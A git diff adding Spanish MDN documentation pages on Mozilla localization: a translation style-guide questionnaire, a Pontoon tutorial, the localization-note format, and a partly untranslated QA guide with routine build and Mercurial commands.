+<div id="magicdomid154"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">To produce a fluent translation, not only should the translation follow the language's standard grammar, punctuation, and spelling rules, but it should avoid being ambiguous, incoherent, or inconsistent, and unintelligible.</span></div>
+
+<div id="magicdomid155"></div>
+
+<div id="magicdomid156"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">To avoid ambiguity, the translator must thoroughly understand the meaning behind the source text, including any references that text might include. For example, if the English source text uses the word, "it", the translator must know what "it" is to avoid an ambiguous translation. Clearly understanding the source text will also allow a translator to make the source text's logical connections in their own translation. This helps to keep the translation coherent.</span></div>
+
+<div id="magicdomid157"></div>
+
+<div id="magicdomid158"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Inconsistency can pop up in many forms. A translator must be consistent in their use of abbreviations, references, and links within each localization project. They must also be consistent with Mozilla and the localization communities' style guides and approved terminology. Abbreviations, like terminology, should come from either a standard reference (like a dictionary of abbreviations) or should follow your language's rules for creating abbreviations. Once used, the abbreviation must remain consistent every place that it is used in the translation. Cross-references (or links) must also be consistently used within a translation. If a text contains a hyperlink URL to a support article in English, the translation should also contain a hyperlink to a translation of that support article (if available) or the English version. Links should not redirect to other pages nor should they be broken and unusable.</span></div>
+
+<div id="magicdomid159"></div>
+
+<div id="magicdomid160"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">Finally, there are times that a translation simply doesn't make sense. It's hard to put your finger on what exactly is wrong with it, but you know it is unintelligible and not fluent. While this is uncommon, it's important to report these unintelligible translations and offer suggestions to correct them.</span></div>
diff --git a/files/es/mozilla/localization/l10n_style_guide/your_language/index.html b/files/es/mozilla/localization/l10n_style_guide/your_language/index.html
new file mode 100644
index 0000000000..29ee4fc4b7
--- /dev/null
+++ b/files/es/mozilla/localization/l10n_style_guide/your_language/index.html
@@ -0,0 +1,40 @@
+---
+title: Contenido de Mozilla localizado en tu idioma
+slug: Mozilla/Localization/L10n_Style_Guide/Your_Language
+tags:
+  - Guía de estilo
+translation_of: Mozilla/Localization/L10n_Style_Guide/Your_Language
+---
+<p>{{draft}}</p>
+
+<dl>
+ <dt id="magicdomid2"><span class="author-p-1460">        Abreviaturas</span></dt>
+ <dd id="magicdomid3"><span class="author-p-1460">            ¿Cómo se expresan las abreviaturas en tu idioma?</span></dd>
+ <dt id="magicdomid4"><span class="author-p-1460">        Numerales y métricas</span></dt>
+ <dd id="magicdomid5"><span class="author-p-1460">¿Cómo se expresan</span><span class="author-p-1460"> los numerales y métricas en tu idioma?</span></dd>
+ <dt id="magicdomid6"><span class="author-p-1460">        Porcentajes</span></dt>
+ <dd id="magicdomid7"><span class="author-p-1460">            ¿Cómo se expresan los porcentajes en tu idioma?</span></dd>
+ <dt id="magicdomid8"><span class="author-p-1460">        Grupos de dígitos</span></dt>
+ <dd id="magicdomid9"><span class="author-p-1460">            ¿Cómo se expresan los grupos de dígitos en tu idioma?</span></dd>
+ <dt id="magicdomid10"><span class="author-p-1460">        Acrónimos</span></dt>
+ <dd id="magicdomid11"><span class="author-p-1460">            Los acrónimos sólo deberían traducirse si existe un término oficial equivalente en tu idioma.</span></dd>
+ <dt id="magicdomid12"><span class="author-p-1460">        Género</span></dt>
+ <dd id="magicdomid13"><span class="author-p-1460">            ¿Cómo expresa el género tu idioma?</span></dd>
+ <dt id="magicdomid14"><span class="author-p-1460">        Tono/Registro</span></dt>
+ <dd id="magicdomid15"><span class="author-p-1460">            ¿cuál es el tono apropiado para tus traducciones? ¿Cambia según el producto y la audiencia objetivo? Si así fuera, ¿qué tonos deberían evitarse?</span></dd>
+ <dt id="magicdomid16"><span class="author-p-1460">        Pronombres</span></dt>
+ <dd id="magicdomid17"><span class="author-p-1460">            ¿Cuál es la forma apropiada de expresar pronombres en tu idioma?</span></dd>
+ <dt id="magicdomid18"><span class="author-p-1460">        Uso de mayúsculas</span></dt>
+ <dd id="magicdomid19"><span class="author-p-1460">            ¿Cuál es el uso de mayúsculas apropiado en tu idioma?</span></dd>
+ <dt id="magicdomid20"><span class="author-p-1460">        Guiones y palabras compuestas</span></dt>
+ <dd><span class="author-p-1460">            ¿Cuál es la forma apropiada de usar guiones y escribir palabras compuestas en tu idioma?</span></dd>
+ <dt id="magicdomid22"><span class="author-p-1460">        Preposiciones y artículos</span></dt>
+ <dd id="magicdomid23"><span class="author-p-1460">            ¿Cuál es la forma apropiada de expresar preposiciones y artículos en tu idioma?</span></dd>
+ <dt id="magicdomid24"><span class="author-p-1460">        Puntuación</span></dt>
+ <dd id="magicdomid25"><span class="author-p-1460">            ¿Cuál es la forma apropiada de expresar la puntuación en tu idioma?</span></dd>
+ <dt id="magicdomid26"><span class="author-p-1460">        Pluralización</span></dt>
+ <dd id="magicdomid27"><span class="author-p-1460">            ¿Cuál es la forma apropiada de expresar plurales en tu idioma?</span></dd>
+ <dt id="magicdomid28"><span class="author-p-1460">        Voz</span></dt>
+ <dd id="magicdomid29"><span class="author-p-1460">            ¿Cuál es la forma apropiada de expresar la voz en tu idioma?</span></dd>
+ <dt id="magicdomid30"></dt>
+</dl>
diff --git a/files/es/mozilla/localization/localizing_with_pontoon/index.html b/files/es/mozilla/localization/localizing_with_pontoon/index.html
new file mode 100644
index 0000000000..3c0d6cb5b0
--- /dev/null
+++ b/files/es/mozilla/localization/localizing_with_pontoon/index.html
@@ -0,0 +1,139 @@
+---
+title: Localizando con Pontoon
+slug: Mozilla/Localization/Localizing_with_Pontoon
+tags:
+  - Localization
+translation_of: Mozilla/Localization/Localizing_with_Pontoon
+---
+<p><a href="https://pontoon.mozilla.org" title="https://pontoon.mozilla.org">Pontoon</a> es una herramienta de localización (l10n) basada en la web, del tipo "lo que ves es lo que obtienes" usada para localizar contenido web. En Mozilla, usamos Pontoon para localizar los sitios web de Mozilla y la interfaz de aplicación de Firefox OS, conocida como Gaia. Pontoon es una herramienta muy simple e intuitiva que requiere muy poco o nada de habilidades técnicas para el proceso de localización. Aquí discutiremos cómo usar Pontoon para localizar proyectos, desde el primer inicio de sesión hasta finalizar tus contribuciones. En el camino, señalaremos algunas agradables funciones que te harán más eficiente y facilitarán tus contribuciones de localización.</p>
+
+<div class="note">
+<p><strong>¿Eres un desarrollador?</strong> Lee sobre<a href="/en-US/docs/Implementing_Pontoon_Mozilla"> cómo implementar Pontoon en tu sitio web (en inglés)</a> o aprende sobre cómo involucrarte en <a href="https://github.com/mozilla/pontoon">GitHub</a>.</p>
+</div>
+
+<h2 id="Primeros_pasos">Primeros pasos</h2>
+
+<p><a href="https://pontoon.mozilla.org" title="https://pontoon.mozilla.org">La página de inicio de Pontoon</a> es muy fácil de usar. Para empezar a localizar el proyecto, haz clic en el ícono de Persona y conéctate. A continuación, simplemente selecciona el proyecto en el que deseas trabajar y tu localización en los menús desplegables. Pontoon abrirá automáticamente el proyecto de esa localización para que puedas comenzar. Nótese que para el propósito de este tutorial, usaremos el sitio web de <a href="https://affiliates.mozilla.org/">Firefox Affiliates</a> para demostrar la funcionalidad y forma de trabajo de Pontoon. Y ahí está, abierto dentro de Pontoon:</p>
+
+<p><em><img alt="Browser app and workspace" src="https://mdn.mozillademos.org/files/8323/affiliates.png" style="height: 558px;"></em></p>
+
+<h3 id="Barra_de_herramientas_principal">Barra de herramientas principal</h3>
+
+<p>Como puedes ver, la mayor parte de la interfaz es tomada por el sitio siendo traducido. Solo la barra de herramientas de la parte superior pertenece a Pontoon, conteniendo los siguientes elementos (de izquierda a derecha):</p>
+
+<p><img alt="Main toolbar" src="https://mdn.mozillademos.org/files/8325/toolbar.png"></p>
+
+<h4 id="List_of_strings">List of strings</h4>
+
+<p>Abre una barra lateral con una lista de todas las cadenas a localizar.</p>
+
+<h4 id="Project_selector_(Affiliates)"><span id="cke_bm_939S" style="display: none;"> </span>Project selector (Affiliates)</h4>
+
+<p>Cambia entre proyectos a localizar.</p>
+
+<h4 id="Resource_selector_(Homepage)"><span id="cke_bm_940S" style="display: none;"> </span>Resource selector (Homepage)</h4>
+
+<p>Cambia entre recursos del proyecto a localizar, como subpáginas o archivos de localización. Oculto si no hay recursos disponibles para el proyecto.</p>
+
+<h4 id="sect1"><span id="cke_bm_941S" style="display: none;"> </span></h4>
+
+<dl>
+</dl>
+
+<h4 id="Locale_selector_(Slovenian)">Locale selector (Slovenian)</h4>
+
+<p>Cambia entre lenguajes a localizar.</p>
+
+<h4 id="Go">Go</h4>
+
+<p>Abre la selección de proyecto-recurso-localización realizara en los desplegables.</p>
+
+<h4 id="Progress_indicator">Progress indicator</h4>
+
+<p>Muestra tu progreso en el recurso siendo localizado. Más detalles están disponibles en el cuadro emergente.</p>
+
+<dl>
+</dl>
+
+<h4 id="User_menu"><span id="cke_bm_943S" style="display: none;"> </span>User menu</h4>
+
+<p>Permite tareas específicas del usuario, como subir al repositorio, descargar archivos y desconectarse.</p>
+
+<h4 id="Info_menu">Info menu</h4>
+
+<p>Entega información importante, como la línea de tiempo anticipada del proyecto y una lista de atajos del teclado.</p>
+
+<p>Estamos listos, ¿te parece que hagamos algunas traducciones?</p>
+
+<dl>
+</dl>
+
+<p>Alright, how about we do some translating now?<span id="cke_bm_608E" style="display: none;"> </span></p>
+
+<dl>
+</dl>
+
+<h2 id="Traducir_cadenas">Traducir cadenas</h2>
+
+<p>Al usar Pontoon para localizar, tienes un par de opciones para traducir tus cadenas. Puedes traducir en contexto, fuera de contexto o usar una combinación de ambas. Empezaremos viendo la traducción en contexto.</p>
+
+<h3 id="En_contexto">En contexto</h3>
+
+<p>El modo de traducción en contexto de Pontoon es lo que le destaca sobre otros. Esto abre una página web (o app web) y permite la edición en tiempo real de esa página. Aquí tienes cómo traducir tu primera cadena:</p>
+
+<p><img alt="In-context localization" src="https://mdn.mozillademos.org/files/8331/in-context.png"></p>
+
+<ol>
+ <li>Colócate sobre el texto que deseas traducir con tu ratón.</li>
+ <li>Un botón de edición aparece sobre ese texto. Apriétalo para activar el modo de traducción.</li>
+ <li>Reemplaza el texto original con su traducción a tu lenguaje.</li>
+ <li>Apreta el botón guardar para dejar grabada tu traducción.</li>
+</ol>
+
+<div>
+<h3 id="Fuera_de_contexto">Fuera de contexto</h3>
+
+<p>Algunas cadenas son imposibles de traducir en contexto, como por ejemplo los contenidos de la etiqeuta &lt;title&gt; en sitios web y cadenas con ubicadores o diferentes formas plurales. Haciendo clic en el ícono de hamburguesa en la barra de herramientas principal, una lista de todas las cadenas y traducciones disponibles se abrirá en la barra lateral. También puedes usar la barra lateral para localización fuera de contexto:</p>
+
+<p><img alt="Out-of-context localization: list" src="https://mdn.mozillademos.org/files/8337/out-of-context-1.png"> <img alt="Out-of-context localization: translate" src="https://mdn.mozillademos.org/files/8335/out-of-context-2.png"></p>
+
+<ol>
+ <li>Aprieta en la cadena que deseas traducir.</li>
+ <li>El panel de traducción con la cadena original y sus detalles (por ejemplo con comentarios) se abre.</li>
+ <li>Traduce la cadena en el área de traducción de abajo.</li>
+ <li>Aprieta el botón "Save" para guardar tu traducción.</li>
+</ol>
+
+<p>Mientras traduces cadenas fuera de contexto, las traducciones también aparecerán en el sitio web, si es que también pueden ser traducidas en contexto.</p>
+
+<h3 id="Ayudas_para_la_traducción">Ayudas para la traducción</h3>
+
+<p>Como puedes ver, sugerencias del historial, la memoria de traducción, traducciones de máquina y de otras localizaciones están disponibles en el panel de traducción fuera de contexto. Les llamamos Ayudas para la traducción y aquí tienes cómo cada una de ellas te ayudarán mientras traduces cadenas:</p>
+</div>
+
+<p><img alt="Translation helpers: History" src="https://mdn.mozillademos.org/files/8339/helpers-history.png"> <img alt="Translation helpers: Machinery" src="https://mdn.mozillademos.org/files/8341/helpers-machinery.png"> <img alt="Translation helpers: Other locales" src="https://mdn.mozillademos.org/files/8343/helpers-locales.png"> <img alt="Translation helpers: Search" src="https://mdn.mozillademos.org/files/8345/helpers-menu.png"></p>
+
+<h4 id="History">History</h4>
+
+<p>Muestra traducciones sugeridas previamente, incluyendo las de otros usuarios.</p>
+
+<h4 id="Machinery">Machinery</h4>
+
+<p>Muestra coincidencias de varios servicios: memoria de traducción interna, <a href="http://transvision.mozfr.org/">Mozilla Transvision</a>, <a href="https://amagama-live.translatehouse.org/">memoria de traducción de código abierto</a>, <a href="http://www.microsoft.com/Language/">terminología de Microsoft</a> y <a href="http://www.bing.com/translator">traducción por máquina</a>.</p>
+
+<h4 id="Other_locales">Other locales</h4>
+
+<p>Muestra las traducciones coincidentes realizadas por otras localizaciones.</p>
+
+<h4 id="Search">Search</h4>
+
+<p>Casi como la opción "Máquina", pero utiliza la palabra clave proveída como parámetro de entrada en lugar de la cadena original.</p>
+
+<p>Al hacer clic en una sugerencia, esta es copiada al área de traducción.</p>
+
+<dl>
+</dl>
+
+<h2 id="Publicando_tu_localización">Publicando tu localización</h2>
+
+<p>Supón que ahora deseas publicar tu trabajo de localización subiéndolo a un repositorio. ¡Pontoon también te permite hacer eso! De hecho, lo hace por tí sincronizando de forma automática con los repositorios a cada hora. ¡Ahora puedes darte una palmadita en la espalda, bailar un poco, ir a dormir o hacer algo más para celebrar tu trabajo!</p>
diff --git a/files/es/mozilla/localization/notas_de_localizacion/index.html b/files/es/mozilla/localization/notas_de_localizacion/index.html
new file mode 100644
index 0000000000..3c5936a2b9
--- /dev/null
+++ b/files/es/mozilla/localization/notas_de_localizacion/index.html
@@ -0,0 +1,25 @@
+---
+title: Notas de Localizacion
+slug: Mozilla/Localization/Notas_de_Localizacion
+tags:
+  - Guía
+  - Internacionalizacion
+  - Localización
+  - Mozilla
+translation_of: Mozilla/Localization/Localization_notes
+---
+<p><span class="seoSummary">Localizadores usualmente funcionan en el archivo localizable sin el contexto los archivos de fuente incluyendo las cadenas localizadas; es importante anadir comentarios en los archivos localizados, tambien. Generalmente, estos comentarios se conocen como <em>notas de localizacion</em>. Existe un formato especifico para estas notas, el cual es descrito en este documento.</span></p>
+
+<p>Es importante seguir el formato lo mas parecido posible. Existen muchas herramientas automaticas que analizan estos comentarios para acceso facil y son usados por los localizadores.</p>
+
+<h2 id="Archivos_DTD">Archivos DTD</h2>
+
+<pre class="eval">&lt;!-- NOTA DE LOCALIZACION (nombre de entidad): comentario --&gt;
+</pre>
+
+<h2 id="Archivos_de_Propiedades">Archivos de Propiedades</h2>
+
+<pre class="eval"># NOTA DE LOCALIZACION (llave): comentario
+</pre>
+
+<p>Comentarios atraves del archivo deben usar el mismo formato, al principio del archivo (pero despues de la informacion de licencia) y simplemente inserte la referencia <em>(nombre de entidad/llave)</em> .</p>
diff --git a/files/es/mozilla/localization/quick_start_guide/fase_qa/index.html b/files/es/mozilla/localization/quick_start_guide/fase_qa/index.html
new file mode 100644
index 0000000000..3475c95e53
--- /dev/null
+++ b/files/es/mozilla/localization/quick_start_guide/fase_qa/index.html
@@ -0,0 +1,209 @@
+---
+title: Fase de PR
+slug: Mozilla/Localization/Quick_start_guide/fase_QA
+translation_of: Mozilla/Localization/Quick_start_guide/QA_phase
+---
+<p>Después de todo ese duro esfuerzo de localización estamos seguros que no sólo deseas ver tu trabajo funcionando, sino que quieres asegurarte que sea exacto y fiel. Si no tienes mucha experiencia con código, podrías incluso estar preocupado de que no se haya roto algo (Uuuy!). Ahora te guiaremos a través de la realización de algunas pruebas de control de calidad en tu trabajo para que te asegures de ir por buen camino.</p>
+
+<p>Si estás localizando sitios web de Mozilla, tu trabajo se desplegará poco después de realizarlo sin necesidad de construir un paquete de idioma. Si ese fuera el caso, esta parte de la guía podría no ser completamente aplicable para tí. De cualquier forma, siéntete libre de saltar a la siguiente sección dando click en el vínculo "Siguiente", ubicado en la parte inferior de la página.</p>
+
+<p>Para ver tu trabajo en Firefox (u otra aplicación de Mozilla), necesitarás tener un paquete de idioma construído para instalarlo en tu 'instancia' local.</p>
+
+<h2 id="Construcción_manual_y_automatizada">Construcción manual y automatizada</h2>
+
+<p>Con sólo dar click en un botón, algunas herramientas de L10n (como Narro y Koala) automáticamente crearán paquetes de idiomas para tí. Si estás usando una de estas herramientas, no dudes en saltarte a la sección <a href="#Seeing_your_work" title="https://developer.mozilla.org/en/Localization_Quick_Start_Guide:_Part_3#Seeing_your_work">Probar tu L10n y ver tu trabajo</a>. Si no estás usando una de esas herramientas, déjanos guiarte a través de la construcción manual de tu propio paquete de idioma.</p>
+
+<div class="note"><strong>Nota</strong>: ¿Recuerdas todos esos requisitos previos de las herramientas que te preguntamos, y que eran necesarios para realizar la instalción en la <a href="/en/Localization_Quick_Start_Guide#Local_environment_tools" title="https://developer.mozilla.org/en/Localization_Quick_Start_Guide#Local_environment_tools">configuración inicial</a>?  Pues bien, los necesitararemos casi todos ellos. Si aún no los has instalado, <em>este</em> es el momento de hacerlo.</div>
+
+<h3 id="Instrucciones_preliminares">Instrucciones preliminares</h3>
+
+<p>Vamos a usar los siguientes directorios de archivo para este ejemplo:</p>
+
+<pre style="margin-left: 40px;">    Tu directorio de trabajo <em>(root)/</em>mozilla-aurora <em>(fuente de en-US, tomado de <a class="external" href="http://hg.mozilla.org/releases/mozilla-aurora" rel="external" title="http://hg.mozilla.org/releases/mozilla-aurora">http://hg.mozilla.org/releases/mozilla-aurora</a></em><em>)</em>/
+    l10n-central <em>(directorio de archivos de L10n, uno por cada L10n; a menudo denominado "l10n base")/</em>
+    tu-codigo-de-idioma <em>(un directorio con tus archivos de L10n, en este ejemplo usaremos prueba-x)</em>
+
+<strong>    Ejemplo</strong>: <code>root/mozilla-aurora</code> y <code>root/l10n-central/prueba-x</code>
+</pre>
+
+<p>Además, necesitarás copiar y traducir el archivo <code>toolkit/defines.inc </code>directamente de en-US, antes de que puedas construir. Esto se debe a un fallo en la lógica de construcción.</p>
+
+<p>Por favor sigue la estructura de arriba de cerca o ajusta los comandos siguientes de acuerdo con tu instalación personalizada.</p>
+
+<p>Para copiar este archivo en el directorio apropiado, haz lo siguiente:</p>
+
+<ol>
+ <li>Ve al directorio de trabajo desde tu terminal de linea de comandos (es decir, donde creaste la estructura de carpetas descrita anteriormente).</li>
+ <li>Ingresa los siguientes comandos:</li>
+</ol>
+
+<pre style="margin-left: 40px;">mkdir -p l10n-central/prueba-x/toolkit/
+
+cp mozilla-aurora/toolkit/locales/en-US/defines.inc l10n-central/prueba-x/toolkit/defines.inc
+</pre>
+
+<p>Tarán! Copiados!</p>
+
+<p>Para finalizar, necesitarás un archivo llamado <code>.mozconfig</code> para proceder con el manual de construcción. Este archivo contiene las instrucciones de construcción necesarias.</p>
+
+<p>Para crear y configurar este archivo, sigue estas insctrucciones:</p>
+
+<div class="warning">
+<p>Hasta antes de la corrección del <a href="https://bugzil.la/1063880">fallo 1063880</a> en mozilla-aurora y mozilla-beta, al construir los paquetes de idioma en contra de estos dos árboles, usted debía:</p>
+
+<ol>
+ <li>
+  <p>retirar  <code>ac_add_options --disable-compile-environment</code>  de <code>.mozconfig</code> en el paso 3</p>
+ </li>
+ <li>
+  <p>usar <code>./mach build config</code>  después del paso 4</p>
+ </li>
+</ol>
+</div>
+
+<ol>
+ <li>Actualiza el código de fuente de Mozilla:</li>
+</ol>
+
+<p style="margin-left: 40px;"><code>$ cd mozilla-aurora<br>
+ $ hg pull -u</code></p>
+
+<ol start="2" style="list-style-type: decimal;">
+ <li>Inserta el siguiente comando para crear el archivo  <code>.mozconfig</code> : <code>$ nano -w .mozconfig</code></li>
+ <li>Inserta las siguientes líneas en tu archivo <code>.mozconfig</code> :</li>
+</ol>
+
+<pre style="margin-left: 40px;">mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/../firefox-build
+ac_add_options --disable-compile-environment
+ac_add_options --with-l10n-base=../l10n-central # path relative to MOZ_OBJDIR
+ac_add_options --enable-application=[<em>browser or mail</em>]
+</pre>
+
+<p style="margin-left: 40px;">Necesitarás especificar qué aplicación estás localizando en la cuarta línea (por ej. para Firefox sería <code>browser</code>, Thunderbird debería ser <code>mail</code>, etc).</p>
+
+<ol start="4" style="list-style-type: decimal;">
+ <li>Inserta el siguiente comando para realizar la configuración: <code>$ ./mach configure</code></li>
+ <li>Una vez tu línea de comandos finalice devolviendo la salida del 'comando de configuración', ve al directorio recientemente creado: <code>$ cd ../firefox-build/browser/locales</code></li>
+</ol>
+
+<p>Ahora estás listo para construir! En este punto puedes seleccionar entre dos opciones de construcción:</p>
+
+<ul>
+ <li><a href="/en/Creating_a_Language_Pack#Creating_a_langpack" title="https://developer.mozilla.org/en/Creating_a_Language_Pack#Creating_a_langpack">Crear un paquete-de-idioma</a>, que es el que está instalado <em>en la parte superior</em> de tu aplicación de Mozilla.</li>
+ <li><a href="/en/Creating_a_Language_Pack#L10n_binary_repack" title="https://developer.mozilla.org/en/Creating_a_Language_Pack#L10n_binary_repack">Re-empaquetar la aplicación 'binaria'</a> (también conocido como una L10n 're-empaquetada'),  que te permirá instalar tu aplicación <em>al lado</em> de la instalación de la aplicación de Mozilla existente y usarla por separado.</li>
+</ul>
+
+<p>Visita los enlaces de arriba para aprender cómo hacer estas pruebas de construcción.</p>
+
+<h2 id="Probar_tu_L10n_y_observar_tu_trabajo"><a id="Seeing_your_work" name="Seeing_your_work"></a>Probar tu L10n y observar tu trabajo</h2>
+
+<p>Ahora que tienes tu paquete-de-idioma o L10n re-empaquetada, vamos a hablar de cómo ver tu trabajo y probarlo en tu aplicación.</p>
+
+<p>Al probar el paquete-de-idioma estarás un paso más cerca de tener tu L10n añadida a los lanzamientos oficiales. Sigue los pasos siguientes para probar tu localización</p>
+
+<ol>
+ <li>Instala Aurora en tu lenguaje preferido.</li>
+ <li>Instala el paquete-de-idioma .xpi que acabas de crear (o exportar)</li>
+ <li>Selecciona tu lenguaje usando el Interruptor de Localización Rápida o la add-ons del Interruptor de Localización, yendo a Herramientas-&gt;Lenguaje-&gt;Tu código de localización del lenguaje.</li>
+ <li>Reinicia el navegador y comienza tus pruebas.</li>
+</ol>
+
+<p>En este punto deberías estar en la capacidad de ver todo tu trabajo funcionando. Da click <a class="link-https" href="https://wiki.mozilla.org/MozillaQualityAssurance:l10n_checklist" title="https://wiki.mozilla.org/MozillaQualityAssurance:l10n_checklist">aquí</a> para consultar las guías de cómo realizar pruebas para tu localización.</p>
+
+<h2 id="¡No_pierdas_tu_trabajo!">¡No pierdas tu trabajo!</h2>
+
+<p>¡Tu trabajo es MUY importante! Realmente odiaríamos ver que perdieras algo de él. Después de probar tu localización, debes enviarlo a un repositorio remoto, que servirá como una copia de seguridad de tu trabajo y permitirá a otros seguir tu progreso.  which will serve as a backup for your work and will let others follow your progress. Vamos a ir por el proceso más abajo.</p>
+
+<p>Los equipos oficiales de localización usan repositorios que se encuentran en <a class="external" href="http://hg.mozilla.org/" rel="external" title="http://hg.mozilla.org/">hg.mozilla.org</a>. Antes que un equipo se vuelva oficial, nos gusta hacer que los localizadores se sientan cómodos con los comangos Hg que permiten realizar el trabajo de <em>cloning</em>, <em>pulling</em>, <em>committing</em>, y <em>pushing</em> hacia un repositorio experimental.  Usamos un servicio web llamado <a class="external" href="http://www.bitbucket.org/" rel="external" title="http://www.bitbucket.org/">Bit Bucket</a> para empezar el proceso de aprendizaje.</p>
+
+<div class="note"><strong>Nota</strong>: Debes tener Mercurial configurado antes de que comiences. Ese paso se encuentra en la página de instalación inicial. Si no la has completado aún, no te preocupes, ¡te experaremos!</div>
+
+<h3 class="note" id="Haciendo_push_a_tu_repositorio">Haciendo <em>push</em> a tu repositorio</h3>
+
+<p>Hay un par de cosas que debes tomar en cuenta antes de hacer <em>push</em> a tu repositorio:</p>
+
+<ul>
+ <li>Asegúrate de que tus archivos han sido codificados en el formato Unicode sin BOM (marca de orden de bytes).</li>
+ <li>Recuerda que aquí estás haciendo el <em>push</em> de un directorio completo, no un archivo <code>.zip</code> o un paquete de idioma <code>.xpi</code>.</li>
+</ul>
+
+<p>Las siguientes instrucciones te ayudarán a aprender cómo usar tu repositorio Hg.</p>
+
+<ol>
+ <li><span style="color: #daa520;">Después de que tu repositorio sea creado por los drivers l10n</span>, por favor visita la URL para tu repositorio. We'll use x-testing here for our example. You can do this by entering the following URL into your browser: <code><a class="external" href="http://hg.mozilla.org/l10n-central/x-testing" rel="freelink">http://hg.mozilla.org/l10n-central/x-testing</a></code></li>
+ <li>Now, navigate to your locale's directory on your local machine.</li>
+</ol>
+
+<p style="margin-left: 40px;">If you're using Koala, this should be located at <code>/path/to/your/koala.project/locale/3.6/x-testing</code>, otherwise, it should be located at <code>/path/to/your/working_dir/l10n_base/x-testing</code>.</p>
+
+<p style="margin-left: 40px;">In this directory, you should have an hg repository. You might have created it yourself by running <code>hg init</code> or <code>hg clone</code> or you might have had it created by Koala when you were setting up a new localization project. Also at this point, you shouldn't have any uncommitted changes (i.e., running the <code>hg status </code>command should show nothing). Let's see what the last revision in this repository is.</p>
+
+<ol start="3" style="list-style-type: decimal;">
+ <li>Enter the following command: <code>$ hg log -l 1</code></li>
+</ol>
+
+<p style="margin-left: 40px;">You should see an output similar to the one below:</p>
+
+<pre style="margin-left: 40px;">changeset:   0:7c543e8f3a6a
+tag:         tip
+user:        Your Name &lt;email@example.com&gt;
+date:        Mon Nov 23 18:08:25 2009 +0100
+summary:     Added search bar strings
+</pre>
+
+<ol start="4" style="list-style-type: decimal;">
+ <li>Now compare the local repository on your machine with the remote Hg repository by entering this command: <code>$ hg outgoing <a class="external" href="http://hg.mozilla.org/l10n-central/x-testing" rel="freelink">http://hg.mozilla.org/l10n-central/x-testing</a></code></li>
+</ol>
+
+<p style="margin-left: 40px;">The <code>hg outgoing</code> command compares the two repositories and lists all changesets that are present locally, but not in the remote repository. These changesets will need to be "pushed" to the remote repository. You can expect to see output like this:</p>
+
+<pre style="margin-left: 40px;">comparing with http://hg.mozilla.org/l10n-central/x-testing
+searching for changes
+
+changeset:   0:7c543e8f3a6a
+tag:         tip
+user:        Your Name &lt;email@example.com&gt;
+date:        Mon Nov 23 18:08:25 2009 +0100
+summary:     Added search bar strings
+</pre>
+
+<ol start="5" style="list-style-type: decimal;">
+ <li>Let's now push this changeset. Enter the following command:<code> hg push <a class="external" href="http://hg.mozilla.org/l10n-central/x-testing" rel="freelink">http://hg.mozilla.org/l10n-central/x-testing</a></code></li>
+ <li>Mercurial will connect to your repo and ask you to provide your account information (i.e., the username and the password).</li>
+</ol>
+
+<pre style="margin-left: 40px;">real URL is http://hg.mozilla.org/l10n-central/x-testing
+pushing to http://hg.mozilla.org/l10n-central/x-testing
+searching for changes
+http authorization required
+realm: hg.mozilla.org HTTP
+user: your_id
+password:
+</pre>
+
+<p style="margin-left: 40px;">After you enter your account information, the changeset will be pushed.</p>
+
+<pre style="margin-left: 40px;">adding changesets
+adding manifests
+adding file changes
+added 1 changesets with 2 changes to 2 files
+bb/acl: your_id is allowed. accepted payload.
+quota: 979.7 KB in use, 150.0 MB available (0.64% used)
+</pre>
+
+<p>Your changeset has been successfully pushed to your repository!</p>
+
+<p>As you begin to move through your translations, you should <code>commit</code> the changes locally and <code>push</code> your work to this experimental repository. For instance, if you have finished translating all the <code>.dtd</code> and <code>.properties</code> files in your <code>x-testing/browser/chrome/browser/</code> directory, then you should run these commands:</p>
+
+<pre>$ hg status
+$ hg commit -m "Translated browser/chrome/browser/"
+$ hg outgoing
+$ hg push http://hg.mozilla.org/l10n-central/x-testing</pre>
+
+<p>Note that due to the distributed nature of Hg, <code>hg commit</code> saves the changes locally (i.e., in your computer's Hg repository). You can see the history of commits with <code>hg log</code>. After doing <code>hg commit</code>, you still need to send the changes to the remote repository. This is where <code>hg push</code> comes in. This sends your commits to the remote repository.</p>
+
+<p>Now you're ready to proceed to the release phase!</p>
+
+<p> </p>
+
+<p>{{ PreviousNext("Localization_Quick_Start_Guide/Translation_phase", "Localization_Quick_Start_Guide/Release_phase") }}</p>
diff --git a/files/es/mozilla/localization/quick_start_guide/index.html b/files/es/mozilla/localization/quick_start_guide/index.html
new file mode 100644
index 0000000000..d437983005
--- /dev/null
+++ b/files/es/mozilla/localization/quick_start_guide/index.html
@@ -0,0 +1,55 @@
+---
+title: Guía de inicio rápido a la Localización
+slug: Mozilla/Localization/Quick_start_guide
+tags:
+  - Localización
+translation_of: Mozilla/Localization/Quick_start_guide
+---
+<p>Bienvenido a la Localización de Mozilla (abreviado l10n)!</p>
+
+<p>Ya sea que estés aquí para poner en marcha tu propia Localización en el proyecto Mozilla o para unirte al proyecto de una Localización existente, has venido al lugar correcto. Esta guía está repleta con toda la información básica y técnica que necesitas para poder comprometerte con el programa Mozilla l10n. Te llevaremos a través una serie de pasos para introducirte, desde la organización del entorno inicial hasta incluso probar y lanzar tu propia localización. A lo largo de esta guía, conocerás los temas referidos a la variedad de proyectos en los que puedas contribuir y a las herramientas que necesitas para poder localizarlos.</p>
+
+<p><span style="line-height: 1.5;">Cuando lleguemos a ejemplos específicos, los llevaremos del proyecto Firefox, ya que es el proyecto l</span>ocalizado<span style="line-height: 1.5;"> más amplio dentro de Mozilla. Mientras más te acerques al final de esta guía, más apto estarás para poder cambiar Firefox en tu entorno local y después ver esos cambios en la interface del mismo. Por último, cuando termines esta guía, tendrás las herramientas necesarias para empezar a contribuir al proyecto.</span></p>
+
+<p>Recuerda que esta guía solo te enseñará los aspectos técnicos de Mozilla l10n. Visita la página <a class="link-https" href="https://wiki.mozilla.org/L10n:Localization_Process" title="https://wiki.mozilla.org/L10n:Overview">L10n Process</a> para conocer todo el proceso.</p>
+
+<div style="width: 25%; background-color: #4AA02C; float: left; display: block; margin: 1.5%; border: 1px solid #C4C295; text-align: center; padding: 2.5%; padding-top: 0px;">
+<h2 id="sect1"> </h2>
+
